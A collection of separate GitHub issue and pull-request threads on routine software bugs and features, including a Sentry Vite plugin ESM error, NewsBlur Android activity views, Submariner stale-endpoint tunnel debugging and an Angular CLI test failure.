Vite compiles the app successfully with Sentry plugin (as 0.6.0 does)
Actual Result
Vite fails to build due to a missing export (or a CommonJS-only export) in a package @sentry/bundler-plugin-core depends on.
failed to load config from /[redacted]/vite.config.ts
error during build:
file:///[redacted]/.yarn/cache/@sentry-bundler-plugin-core-npm-0.7.0-bf4461084c-b32002fac1.zip/node_modules/@sentry/bundler-plugin-core/dist/esm/index.mjs:16
import *** SourceMapSource *** from 'webpack-sources';
         ^^^^^^^^^^^^^^^
SyntaxError: Named export 'SourceMapSource' not found. The requested module 'webpack-sources' is a CommonJS module, which may not support all module.exports as named exports.
CommonJS modules can always be imported via the default export, for example using:

import pkg from 'webpack-sources';
const *** SourceMapSource *** = pkg;

    at ModuleJob._instantiate (node:internal/modules/esm/module_job:124:21)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async ModuleJob.run (node:internal/modules/esm/module_job:190:5)

Relevant PR that adds the webpack-sources import is https://github.com/getsentry/sentry-javascript-bundler-plugins/pull/198

Thanks for pointing this out!

@wopian Just released a patch. Can you check if this resolves the issue?

@lforst I'm gonna have to decrement your counter to "0 hours since last CJS problem" 😜
failed to load config from /[redacted]/vite.config.ts
error during build:
ReferenceError: require is not defined in ES module scope, you can use import instead
    at file:///[redacted]/.yarn/cache/@sentry-bundler-plugin-core-npm-0.7.1-9b05394846-d0afaada56.zip/node_modules/@sentry/bundler-plugin-core/dist/esm/index.mjs:2121:32
    at ModuleJob.run (node:internal/modules/esm/module_job:194:25)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

@wopian At least we're getting a different error now :D This is already being tracked here #211


Android: Interactions and Activities view

Just like iOS and web.

On iOS:

Note that I have a couple bugs to fix on iOS. It should strip HTML on interactions, and it should be loading those icons in Activity.

See github.com/samuelclay/newsblur/tree/master/templates/reader/interactions_module.html and github.com/samuelclay/newsblur/tree/master/templates/reader/activities_module.html for all of the categories and how they should be formatted.

Thanks

I assume on iOS the ">" takes you to the feed/story etc?

Correct, and not only that, but it scrolls you down to the comment too.

Is your preference that you can click anywhere to navigate like on the web or that there is a ">" like iOS?

Tap anywhere, since you can't tap on individual pieces.

So in iOS you can't actually tap on the links? The current Android code was attempting to make each part clickable (e.g. username was clickable on comment reply) but it would simplify things if we didn't need to do that.

Nope, not at all. They're just styled that way, it actually just takes you to the comment.

@dosiecki I'm looking at navigating from saved story activity details to the saved story itself.
Am I right that given the following details
{"category": "star",
 "user_id": 40088,
 "title": null,
 "is_new": true,
 "story_feed_id": 76,
 "content": "\u2192 How Well Can You Hear Audio Quality?",
"with_user_id": 40088,
"feed_id": 76,
"time_since": "9 hours",
 "date": "2015-06-04 10:48:57.712000",
 "content_id": "http://www.npr.org/sections/therecord/2015/06/02/411473508/how-well-can-you-hear-audio-quality",
"with_user": null}

we don't actually have the information required to either start the saved reading activity via an intent or find the story from the database and create a new ReadingItemFragment? And is either of these the best approach anyway?

I think maybe you could key into the cursor by searching for feedId and the story URL?  It would be much easier if you have the storyHash.  The entire app basically runs on storyHashes.

I did think the story has would be useful. Any chance of adding this to the response @samuelclay ?

Ok, added. Note that it may be null for comment_like interactions. They won't be null in the future, though. So just handle the null case by not opening the link, which is fine for now, since it will only affect older interactions.

When you navigate to a shared/saved story from an activity should it show that story standalone or within the list of shared/saved stories? i.e. after navigating should you be able to page through the shared/saved stories list?

Yes, it should show the context. So if it's a shared story being re-shared by somebody, go to their blurblog. If it's a reply, go to the original story's feed (or blurblog), depending on what feed id you're given.
If in doubt, check what happens on the web. You should just be able to use the feed_id (and not the story_feed_id).

What do you do on iOS if the saved story doesn't exist? I see on the web that goes to the saved stories list rather than a specific story.

Yes, that would be fine.

On iOS does it scroll to the specific comment or the comment section? If the specific comment what do you use to identify it? I can't see anything related to a specific comment except the content in the comment_like response.

So I have iOS scroll to the comment (you use user_id, since user's can only have a single comment) and then pulse the comment in orange. But just scrolling to the comment section would be fine if that isn't trivial.

@dosiecki I'm trying to implement scrolling to the comment section and I'm wondering if you have an ideas re: the best approach. For now I'm just trying to hard code scrolling to the reading_friend_comment_header when the ReadingItemFragment is opened.
I've tried http://stackoverflow.com/questions/21930954/how-to-scroll-to-specific-view-element-inside-scrollview-by-knowing-element-id but scrolling to a position seems to be complicated by the web view loading is content changing the length of the scroll view and also the comments being loaded in a different thread too so the position changes dynamically and isn't fixed until all web/comment loading is complete.

Yeah, the thing to do would be to set a flag indicating that you eventually want to scroll down, check it after all 3-4 async loads, keep track of what has finished, and only scroll after they are all done.  I suspect that bit of code is going to be nightmareish to maintain, though, so I would only pursue it if it is absolutely critical to the UX.

@samuelclay is it enough to navigate to the story for comment activities/interactions?

Sure, that would be fine. Although on iOS it's no more work to find the correct comment, as the scrolling actually happens in javascript and it's just to a specific user_id (share comment). But scrolling to the comment section in general would be super helpful.
I'm thinking about a new comment feed which aggregates all of the activity your friends have: comments and replies, and presents them with super shortened stories. It's much better on the web, but perhaps we can figure out a way to build it on mobile. It's not going to launch for quite a while, though, as I have my hands full with Turn Touch.

Scrolling down to even the top of the comments section will require a coordinated await of at least the webview load, so going all the way to the correct comment shouldn't be too much more difficult, I would hope.
I think at the bare minimum we just need to watch onProgressChanged in our WebChromeClient.  I've got a barebones impl of the helper class in my branch (for an unrelated feature), I can push it upstream as soon as we get the bugfix beta sorted.

Scrolling to comments was the last feature on my list. After some final testing and #704 is merged I will open a new PR for this.
I can look again at adding scrolling to comments in a later PR once @dosiecki changes are merged in too.

@samuelclay I've just had the Android app crash due to one of your comment like interactions having "title": null. Is this expected?

Shoot, I broke this two days ago. I just fixed it and I'm going to fix all of the comment_like's with missing titles in a moment.

@samuelclay when you said above a user can only have a single comment does this apply across public comments, friends comments and comment replies for a single story?

Thats correct.

Friends = people you follow, public = people you don't follow (so mutual exclusion). And comments vs shares are obvious. We just don't bother showing the fourth category of public shares.

I believe that as of this Beta release, this is alive and well!

I have some work in progress code to scroll to the comments section after navigating kicking around that I haven't had a chance to finish. I'll try and get back to it soon.


Allow use from global installation

Use the current pwd as the base for the TYPO3 installation.
This would allow to install the script in the global composer location (usually ~/.composer/bin) and use it from there without the need to put it into the local composer configuration.

The schema generator is intended to work for any framework, not just TYPO3. Using pwd as base path means we either have to assume the vendor dir location or parse the composer.json manifest in pwd path to determine vendor dir.
There's also a lot of good to be said about keeping this as a --dev dependency in the project itself, since it does depend on the Fluid version you use.

ok then

If we need to change the lookup of paths to some better alternative that's fine with me, but we should start from __FILE__ or __DIR__ and work backwards.


The EVA failed to enable if customer get  $TenantSubscriptionId via  $TenantSubscriptionId = read-host but not $TenantSubscriptionId = "SubID"

Some users write script to leverage this feature and find that if they get $TenantSubscriptionId  via $TenantSubscriptionId = Read-Host
Then Invoke-AzureRmResourceAction can run successfully but EVA was not enabled. Such behavior can be replicated in 2108 and 2206.
From debug log I can see if users read-host to get $TenantSubscriptionId
The POST body looks as following:
Absolute Uri:
https://adminmanagement.xxx/subscriptions/xxx/providers/Microsoft.Compute.Admin/locations/xxx/features/Microsoft.Compute.EmergencyVMAccess/enableTenantSubscriptionFeature?api-version=2020-11-01
Headers:
User-Agent                    : AzurePowershell/v0.0.0,PSVersion/v5.1.17763.2931
ParameterSetName              : BySubscriptionLevel
CommandName                   : Invoke-AzResourceAction
Body:
{
"tenantSubscriptionId": {
"CliXml": "<Objs Version="<IP_ADDRESS>" xmlns="http://schemas.microsoft.com/powershell/2004/04\">\r\n  <S>XXXTenantSubIDXXX</S>\r\n"
}
}
Specify parameter $tenantSubscriptionId type to [String] can avoid such issue.
Which means
$tenantSubscriptionSettings = @{
TenantSubscriptionId = $tenantSubscriptionId
}
need to be
$tenantSubscriptionSettings = @{
TenantSubscriptionId = [String]$tenantSubscriptionId
}

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 221ace5c-e2df-f784-d570-a39563c13a8d
Version Independent ID: 38a14acb-21f5-5378-6ece-50e89e437025
Content: Emergency VM access in Azure Stack Hub - Azure Stack Hub
Content Source: azure-stack/user/emergency-vm-access.md
Service: azure-stack
Sub-service: azure-stack-hub
GitHub Login: @sethmanheim
Microsoft Alias: sethm

@jianfeng-jia
Thanks for your feedback! We have assigned the issue to author and will provide further updates.

Thank you for bringing this up, it looks like it was addressed and fixed in a separate PR.


health_check: add stats counters to monitor health check behavior

Description
This PR adds stats to the health check HTTP filter. These new stats provide visibility into health check behavior including request counts, successful/failed checks, cached responses, and cluster health status. These stats help operators monitor the health checking system and diagnose issues.
Here is a list of key stats added:

health_check_request: Total number of health check requests processed
health_check_ok: Number of successful health checks
health_check_failed: Number of failed health checks
health_check_cached: Number of cached health check responses used
health_check_failed_cluster_not_found: Health checks failed due to missing cluster
health_check_failed_cluster_empty: Health checks failed due to empty cluster
health_check_failed_cluster_unhealthy: Health checks failed due to unhealthy cluster status
degraded: Number of degraded responses

Commit Message: health_check: add stats counters to monitor health check behavior
Additional Description: This change improves observability of the health check filter by exposing key metrics about health check processing and cluster health state. The stats are scoped under the connection manager and follow standard Envoy stats naming conventions.
Risk Level: Low
Testing: Added unit and integration tests verifying all stats counters
Docs Changes: N/A
Release Notes: Added

/assign adisuissa


Stale endpoint causing issues setting up tunnels

What happened:
Imagine two clusters (perf2 and perf8) connected via Submariner. Now if there is a gateway migration on Perf8, the updated endpoint is properly synced on Broker and on Perf2 cluster. However, Perf2 cluster also has the old endpoint associated with Perf8.
In such a situation when the gateway-pod on perf2 cluster is restarted (for some reason), it was seen that it initially processed the latest endpoint of Perf8 followed by the old endpoint. While processing the old endpoint, it believes that there is already an existing connection to Perf8 and deletes it and tries to connect to the old endpoint which never succeeds (as expected).
We should identify the reason why the stale endpoint of Perf8 is not deleted on perf2 cluster and also fix the sync issues for related scenarios.
Environment:

Submariner version (use subctl version): 0.8.1
Kubernetes version (use kubectl version): OCP 4.7.3
Cloud provider or hardware configuration: OnPrem/VMWare
Network plugin and version (if this is a network-related bug): OpenShift SDN

CC: @skitt @mangelajo

So when the perf2 GW started, it first gets a perf8 EP for .147:
I0406 15:40:19.640342       1 tunnel.go:51] Tunnel controller processing added or updated submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-147",
Then right after that, it gets .173:
I0406 15:40:19.782204       1 tunnel.go:51] Tunnel controller processing added or updated submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-173", GenerateName:"", Namespace:"submariner-operator", SelfLink:"/apis/submariner.io/v1/namespaces/submariner-operator/endpoints/perf8-submariner-cable-perf8-10-70-56-173",
which replaces .147:
I0406 15:40:19.783415       1 cableengine.go:142] Found a pre-existing cable "submariner-cable-perf8-10-70-56-147" that belongs to this cluster perf8
I0406 15:40:19.783424       1 libreswan.go:357] Deleting connection to {{perf8 submariner-cable-perf8-10-70-56-147 <IP_ADDRESS> perf8-lc8kr-worker-nqvqd

Then over a minute later it gets a remove for .173:
I0406 15:41:41.781880       1 tunnel.go:71] Tunnel controller processing removed submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-147",
Then shortly after .172:
I0406 15:41:41.815149       1 tunnel.go:51] Tunnel controller processing added or updated submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-172",
which successfully replaces .173:
I0406 15:41:41.816960       1 cableengine.go:142] Found a pre-existing cable "submariner-cable-perf8-10-70-56-173" that belongs to this cluster perf8
I0406 15:41:41.816970       1 libreswan.go:357] Deleting connection to {{perf8 submariner-cable-perf8-10-70-56-173 <IP_ADDRESS> perf8-lc8kr-worker-8j2qk [<IP_ADDRESS>/16 <IP_ADDRESS>/16] <IP_ADDRESS>  false libreswan map[]}}
I0406 15:41:42.024071       1 cableengine.go:155] Successfully installed Endpoint cable "submariner-cable-perf8-10-70-56-172" with remote IP <IP_ADDRESS>

It never gets a delete for  .173, which is puzzling, but shouldn't connectivity still be working with .172?

That's correct @tpantelis. The above log from where you made the observations is --previous log file for submariner-gateway pod on Perf2. I think the connection was successfully established with .172 at "15:41:42.024071" time. However, if we continue to analyze the same log file further, we can see that K8s API Server in the local cluster was down (at 19:41:44) for some reason and leadership could not be renewed, so submariner-gateway pod gets restarted.
W0407 19:41:44.370611       1 reflector.go:340] github.com/submariner-io/admiral/pkg/syncer/resource_syncer.go:189: watch of *unstructured.Unstructured ended with: an error on the server ("unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:58568-><IP_ADDRESS>:443: read: no route to host") has prevented the request from succeeding
W0407 19:41:44.370654       1 reflector.go:340] github.com/submariner-io/admiral/pkg/syncer/resource_syncer.go:189: watch of *unstructured.Unstructured ended with: an error on the server ("unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:58568-><IP_ADDRESS>:443: read: no route to host") has prevented the request from succeeding
E0407 19:41:44.370641       1 syncer.go:247] Error while trying to delete own Gateway "perf2-fqldq-worker-k47z8" : Delete "https://<IP_ADDRESS>:443/apis/submariner.io/v1/namespaces/submariner-operator/gateways/perf2-fqldq-worker-k47z8": read tcp <IP_ADDRESS>:58568-><IP_ADDRESS>:443: read: no route to host
E0407 19:41:44.370675       1 syncer.go:98] Error getting existing Gateway: Get "https://<IP_ADDRESS>:443/apis/submariner.io/v1/namespaces/submariner-operator/gateways/perf2-fqldq-worker-k47z8": read tcp <IP_ADDRESS>:58568-><IP_ADDRESS>:443: read: no route to host
F0407 19:41:44.370687       1 main.go:189] Leader election lost, shutting down

Now after submariner-gateway pod gets restarted, as you know, we have two endpoints that point to Perf8.
[sgaddam@localhost 8th]$ kubectl get endpoint -n submariner-operator # On Perf2 Cluster
NAME                                        AGE
perf2-submariner-cable-perf2-10-70-56-190   7d11h
perf8-submariner-cable-perf8-10-70-56-172   42h     --> Correct and latest endpoint
perf8-submariner-cable-perf8-10-70-56-173   35d     --> Stale/Old endpoint
[sgaddam@localhost 8th]$ #

From the submariner-gateway pod logs, we can see an add for .172
I0407 19:42:21.591061       1 tunnel.go:51] Tunnel controller processing added or updated submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-172", GenerateName:"", Namespace:"submariner-operator", SelfLink:"/apis/submariner.io/v1/namespaces/submariner-operator/endpoints/perf8-submariner-cable-perf8-10-70-56-172", UID:"7bb36e79-830c-4366-9669-30ad920094e2", ResourceVersion:"25213710", Generation:1, CreationTimestamp:v1.Time{Time:time.Time{wall:0x0, ext:63753320501, loc:(*time.Location)(0x2087320)}}, DeletionTimestamp:(*v1.Time)(nil), DeletionGracePeriodSeconds:(*int64)(nil), Labels:map[string]string{"submariner-io/clusterID":"perf8"}, Annotations:map[string]string(nil), OwnerReferences:[]v1.OwnerReference(nil), Finalizers:[]string(nil), ClusterName:"", ManagedFields:[]v1.ManagedFieldsEntry{v1.ManagedFieldsEntry{Manager:"submariner-engine", Operation:"Update", APIVersion:"submariner.io/v1", Time:(*v1.Time)(0xc0011fd2a0), FieldsType:"FieldsV1", FieldsV1:(*v1.FieldsV1)(0xc0011fd2e0)}}}, Spec:v1.EndpointSpec{ClusterID:"perf8", CableName:"submariner-cable-perf8-10-70-56-172", HealthCheckIP:"<IP_ADDRESS>", Hostname:"perf8-lc8kr-worker-mq26q", Subnets:[]string{"<IP_ADDRESS>/16", "<IP_ADDRESS>/16"}, PrivateIP:"<IP_ADDRESS>", PublicIP:"", NATEnabled:false, Backend:"libreswan", BackendConfig:map[string]string(nil)}}
I0407 19:42:21.591121       1 cableengine.go:101] Installing Endpoint cable "submariner-cable-perf8-10-70-56-172"

After few seconds it gets notification for .173
I0407 19:42:21.756263       1 tunnel.go:51] Tunnel controller processing added or updated submariner Endpoint object: &v1.Endpoint{TypeMeta:v1.TypeMeta{Kind:"", APIVersion:""}, ObjectMeta:v1.ObjectMeta{Name:"perf8-submariner-cable-perf8-10-70-56-173", GenerateName:"", Namespace:"submariner-operator", SelfLink:"/apis/submariner.io/v1/namespaces/submariner-operator/endpoints/perf8-submariner-cable-perf8-10-70-56-173", UID:"655e46a0-ceb1-44b3-ae73-64f092c90ce1", ResourceVersion:"982000", Generation:1, CreationTimestamp:v1.Time{Time:time.Time{wall:0x0, ext:63750413613, loc:(*time.Location)(0x2087320)}}, DeletionTimestamp:(*v1.Time)(nil), DeletionGracePeriodSeconds:(*int64)(nil), Labels:map[string]string{"submariner-io/clusterID":"perf8"}, Annotations:map[string]string(nil), OwnerReferences:[]v1.OwnerReference(nil), Finalizers:[]string(nil), ClusterName:"", ManagedFields:[]v1.ManagedFieldsEntry{v1.ManagedFieldsEntry{Manager:"submariner-engine", Operation:"Update", APIVersion:"submariner.io/v1", Time:(*v1.Time)(0xc000f84de0), FieldsType:"FieldsV1", FieldsV1:(*v1.FieldsV1)(0xc000f84e20)}}}, Spec:v1.EndpointSpec{ClusterID:"perf8", CableName:"submariner-cable-perf8-10-70-56-173", HealthCheckIP:"<IP_ADDRESS>", Hostname:"perf8-lc8kr-worker-8j2qk", Subnets:[]string{"<IP_ADDRESS>/16", "<IP_ADDRESS>/16"}, PrivateIP:"<IP_ADDRESS>", PublicIP:"", NATEnabled:false, Backend:"libreswan", BackendConfig:map[string]string(nil)}}
I0407 19:42:21.756339       1 cableengine.go:101] Installing Endpoint cable "submariner-cable-perf8-10-70-56-173"

So, it deletes the previous one (.172) and assumes that .173 is the latest/correct endpoint to Perf8. Since there is no submariner-gateway pod on .173 node of Perf8 cluster, the tunnels could not be established.
I0407 19:42:21.757583       1 cableengine.go:142] Found a pre-existing cable "submariner-cable-perf8-10-70-56-172" that belongs to this cluster perf8
I0407 19:42:21.757595       1 libreswan.go:357] Deleting connection to {{perf8 submariner-cable-perf8-10-70-56-172 <IP_ADDRESS> perf8-lc8kr-worker-mq26q [<IP_ADDRESS>/16 <IP_ADDRESS>/16] <IP_ADDRESS>  false libreswan map[]}}
I0407 19:42:21.757611       1 libreswan.go:369] Whacking with [--delete --name submariner-cable-perf8-10-70-56-172-0-0]

So the issues are

Why there is no delete notification for .173?
In case there are multiple endpoints (which actually is a bug) to a remote cluster (like .172 and .173 to Perf8), how can we ensure that we process the correct endpoint irrespective of the order in which the notification is received when submariner-gateway pod gets restarted.
We probably need a mechanism to keep the local endpoints and endpoints on the Broker cluster always in sync. I think this will fix the 2 above in an indirect way. As I mentioned on the slack channel, if I manually delete an endpoint from the local cluster, it's not getting synced from the Broker.

So the issues are

Why there is no delete notification for .173 on submariner-gateway pod of Perf2 cluster when the endpoint was deleted on Broker?

I suspect the same reason that caused the pod to lose the leader election and shut down - it lost connection to the broker API server and never got the delete notification.

In case there are multiple endpoints (which actually is a bug) to a remote cluster (like .172 and .173 to Perf8), how can we ensure that we process the correct endpoint irrespective of the order in which the notification is received when submariner-gateway pod gets restarted.

I suppose we could inspect the creation time stamps and favor the latest. However the crux of the problem is that .173 should not exist. If a resource is deleted while the process is down or while it's lost connection to the server, on restart it will not learn of the deleted resource from the informer b/c that information is ephemeral - the informer only learns about what currently exists on the server. This is kind of a hole with using informers. In our case, we can correct it by reconciling the local resources with the broker resources, ie delete any local resource that doesn't exist on the broker. I have an issue for this.

As I mentioned on the slack channel, if I manually delete an endpoint from the local cluster, it's not getting synced from the Broker. So, we probably need a mechanism to keep the local endpoints and endpoints on the Broker cluster always in sync. I think this will fix 2 above in an indirect way.

That scenario is an out-of-band local delete which could be easily handled via a resync period. However, for this issue, an endpoint was deleted on the broker and the notification was missed so adding a resync period wouldn't fix this issue as that just fetches the current data. You need a full reconciliation as described above. I believe this is only necessary on startup to handle missed delete notifications while the process was down. If the informer loses connection to the server and misses a delete notification, on reconnect, I believe it will reconcile its cache with the current data on the server and issue a delete notification. At least I would think it would handle this - needs to be verified.

So I verified the behavior when an informer reconnects to the server.  On reconnect, it re-lists the resources, re-establishes the watch and reconciles the cache with the current list received from the server. If a deletion event was missed during the disconnect period, it will detect that the cached resource is stale and issue a delete event with DeletedFinalStateUnknown.

@sridhargaddam Looking at the creation timestamps for EPs .173, .147, .172:
173:  time.Time{wall:0x0, ext:63750413613, loc:(*time.Location)(0x2087320)}   2021-03-04T00:13:33Z
147:  time.Time{wall:0x0, ext:63753018421, loc:(*time.Location)(0x2087320)}
172:  time.Time{wall:0x0, ext:63753320501, loc:(*time.Location)(0x2087320)}   2021-04-06T15:41:41Z''

.173 is far older (over a month ago in Mar).  So it's been stale for quite some time. Given that, the Per2 log prior to restart makes sense: .147 was the current EP on Perf8 and was replaced by .172 around I0406 15:41:41.  The add for .173 was extraneous and shouldn't have replaced .147. This also explains why we don't see a delete event for .173 in that log as the delete happened a while ago prior to the start of that Per2 pod instance. Unfortunately we don't have logs from that prior time period to determine exactly how .173 became stale but I suspect the delete occurred while no Per2 gateway pod was running and thus the event was missed.
So I think checking the EP timestamps when deciding to replace makes sense, ie take the newer one.  That would protect against a stale EP.  Also the syncer needs to reconcile resources on startup to handle missed delete events.  I'll work on these this week.

So I think checking the EP timestamps when deciding to replace makes sense, ie take the newer one. That would protect against a stale EP. Also the syncer needs to reconcile resources on startup to handle missed delete events. I'll work on these this week.

Yes, it makes sense @tpantelis. Thanks.


Translation for content/ja/case-studies/spotify in Japanese

This is a Feature Request
What would you like to be added
Translation for case study for Spotify
https://kubernetes.io/case-studies/spotify/
Why is this needed
No translation exists in Japanese.
And this case study is so useful for Japanese readers (not only for developers)
Comments
Copy a file from en contents to content/ja/case-studies/spotify/index.html and content/ja/case-studies/spotify/spotify_featured_logo.png and translate the former into Japanese.
/language ja
/assign

/milestone 1.16-ja.1


ng test gives error on new install

Versions
Angular CLI: 1.6.7
Node: 8.9.4
npm: 5.6.0
OS: linux x64
Angular: 5.2.4
... animations, common, compiler, compiler-cli, core, forms
... http, language-service, platform-browser
... platform-browser-dynamic, router

@angular/cli: 1.6.7
@angular-devkit/build-optimizer: 0.0.42
@angular-devkit/core: 0.0.29
@angular-devkit/schematics: 0.0.52
@ngtools/json-schema: 1.1.0
@ngtools/webpack: 1.9.7
@schematics/angular: 0.1.17
typescript: 2.5.3
webpack: 3.10.0

Repro steps

ng new my-project
cd my-project
ng test

Observed behavior
10% building modules 1/1 modules 0 active08 02 2018 12:08:11.887:WARN [karma]: No captured browser, open http://localhost:9876/
08 02 2018 12:08:11.900:INFO [karma]: Front-end scripts not present. Compiling...
 95% emitting08 02 2018 12:08:22.565:ERROR [karma]: TypeError: Cannot read property 'apply' of undefined
    at /home/rsaenen/git/ng-val/node_modules/enhanced-resolve/lib/CachedInputFileSystem.js:70:14
    at _combinedTickCallback (internal/process/next_tick.js:131:7)
    at process._tickCallback (internal/process/next_tick.js:180:9)

Desired behavior
Can run test.
Mention any other details that might be useful (optional)
Tried with the latest node 9.5.0 and the LTS, got the same issue.

It fails with ng-build as well:
 95% emitting/tmp/angular-aot/node_modules/enhanced-resolve/lib/CachedInputFileSystem.js:40
		callbacks[i](err, result);
		            ^

TypeError: callbacks[i] is not a function
    at Storage.finished (/tmp/angular-aot/node_modules/enhanced-resolve/lib/CachedInputFileSystem.js:40:15)
    at /tmp/angular-aot/node_modules/enhanced-resolve/lib/CachedInputFileSystem.js:77:9
    at /tmp/angular-aot/node_modules/graceful-fs/polyfills.js:287:18
    at FSReqWrap.oncomplete (fs.js:153:5)

node v8.9.4
npm 5.6.0

Duplicate of #9550


Fix model_builder docstrings

Description
Fixed various docstrings in model_builder as mentioned in issue #853
Related Issue

[ ] Closes #853

Checklist

[ ] Checked that the pre-commit linting/style checks pass
[ ] Included tests that prove the fix is effective or that the new feature works
[ ] Added necessary documentation (docstrings and/or example notebooks)
[ ] If you are a pro: each commit corresponds to a relevant logical change

Modules affected

[ ] MMM
[ ] CLV

Type of change

[ ] New feature / enhancement
[ ] Bug fix
[x] Documentation
[ ] Maintenance
[ ] Other (please specify):

Thank you @GiannisApost !


Add noop zuul job

It will help to report status on rdoproject.org/github-check pipeline on .github dir changes.

/approve

/lgtm


Mongodb, MYSQL and EC2 deployment tutorials

Looks like there is nothing to merge. @ArpanRoy-Ahana


Fix warnings from better precision of dead_code lint

The lint now ignores derived Clone and Debug implementations, as of
PR rust-lang/rust#85200, which landed a couple of days ago.
I sprinkled #[allow(dead_code)] in a few places; the fields are not
expected to be read since they are just part of a very specific test.

r? @ehuss
(rust-highfive has picked a reviewer for you, use r? to override)

@bors: r+

:hourglass: Testing commit f6823a6427433e426e4783edb66cee27d341b324 with merge 70967dad288c80739ed8fefb868f93ee7774dd1b...

:sunny: Test successful - checks-actions
Approved by: alexcrichton
Pushing 70967dad288c80739ed8fefb868f93ee7774dd1b to master...


Batch size limitation

Hi I was wondering why the maximum batch size is ~100 using a GPU with ~11GB of RAM whereas in the tensor2tensor the maximum batch size there is 1024?

Hi @kevinlu1211,
Thanks for the reporting!
I have not run the tensor2tensor code.
I am also curious about the memory usage of tensor2tensor with batch size equals 1024.
Do you have the number?
If the memory usage difference is large, there may exist a memory efficiency problem.
Thanks,
Yu-Hsiang

What do you mean by number?
On Tue, 15 Aug 2017 at 6:13 pm, Victor Huang<EMAIL_ADDRESS>wrote:

Hi @kevinlu1211 https://github.com/kevinlu1211,
Thanks for the reporting!
I have not run the tensor2tensor code.
I am also curious about the memory usage of tensor2tensor with batch size
equals 1024.
Do you have the number?
If the memory usage difference is large, there may exist a memory
efficiency problem.
Thanks,
Yu-Hsiang
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/jadore801120/attention-is-all-you-need-pytorch/issues/24#issuecomment-322406599,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AME8D-idcHeCkfIfU_YIiYGb41sLypvSks5sYVMegaJpZM4O3LsR
.

Sorry for the ambiguity.
I mean the memory usage of the tensor 2 tensor project.
2017年8月15日 下午4:40，"kevinlu1211"<EMAIL_ADDRESS>
What do you mean by number?
On Tue, 15 Aug 2017 at 6:13 pm, Victor Huang<EMAIL_ADDRESS>wrote:

Hi @kevinlu1211 https://github.com/kevinlu1211,
Thanks for the reporting!
I have not run the tensor2tensor code.
I am also curious about the memory usage of tensor2tensor with batch size
equals 1024.
Do you have the number?
If the memory usage difference is large, there may exist a memory
efficiency problem.
Thanks,
Yu-Hsiang
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<https://github.com/jadore801120/attention-is-all-
you-need-pytorch/issues/24#issuecomment-322406599>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AME8D-idcHeCkfIfU_
YIiYGb41sLypvSks5sYVMegaJpZM4O3LsR>
.

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/jadore801120/attention-is-all-you-need-pytorch/issues/24#issuecomment-322413173,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ADxwKjwL9YN8rKt_DIqhRAOiv64IwZi4ks5sYVmKgaJpZM4O3LsR
.

It uses around ~10GB RAM for a batch size of 1024
On Tue, Aug 15, 2017 at 6:43 PM, Victor Huang<EMAIL_ADDRESS>wrote:

Sorry for the ambiguity.
I mean the memory usage of the tensor 2 tensor project.
2017年8月15日 下午4:40，"kevinlu1211"<EMAIL_ADDRESS>
What do you mean by number?
On Tue, 15 Aug 2017 at 6:13 pm, Victor Huang<EMAIL_ADDRESS>wrote:

Hi @kevinlu1211 https://github.com/kevinlu1211,
Thanks for the reporting!
I have not run the tensor2tensor code.
I am also curious about the memory usage of tensor2tensor with batch
size
equals 1024.
Do you have the number?
If the memory usage difference is large, there may exist a memory
efficiency problem.
Thanks,
Yu-Hsiang
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<https://github.com/jadore801120/attention-is-all-
you-need-pytorch/issues/24#issuecomment-322406599>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AME8D-idcHeCkfIfU_
YIiYGb41sLypvSks5sYVMegaJpZM4O3LsR>
.

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<https://github.com/jadore801120/attention-is-all-you-need-
pytorch/issues/24#issuecomment-322413173>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/
ADxwKjwL9YN8rKt_DIqhRAOiv64IwZi4ks5sYVmKgaJpZM4O3LsR>
.

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/jadore801120/attention-is-all-you-need-pytorch/issues/24#issuecomment-322413750,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AME8D4uH_tQRR5A4iZXl9yeOkH_HZpMSks5sYVoqgaJpZM4O3LsR
.

It might be that the definition of batch_size is different for these two projects?
https://github.com/tensorflow/tensor2tensor/blob/a4f958a887f4f4466644dd0602bdd33985d61dd7/tensor2tensor/utils/data_reader.py#L86


ON VACATION till January 15 2018

Happy holidays!
I'll have limited access to emails and likely no ability to write any code.

@neomerx merry christmas and enjoy~!


Implement Heapsize calculations

I often like having the ability to track how much memory my compiler/parser is using. This PR implements HeapSizeOf from the heapsize crate for various data types in codespan, hidden behind an off-by-default feature flag.

Looks good! I'm about to head to bed, but would you like me to merge and release tomorrow morning?
Also, we have a gitter room if you'd like to chat with us in a more real time setting too. Curious to know what you plan to do with codespan! :)

would you like me to merge and release tomorrow morning?

I'm currently importing directly from my git fork at the moment, but if you have time to do a release that'd be awesome!
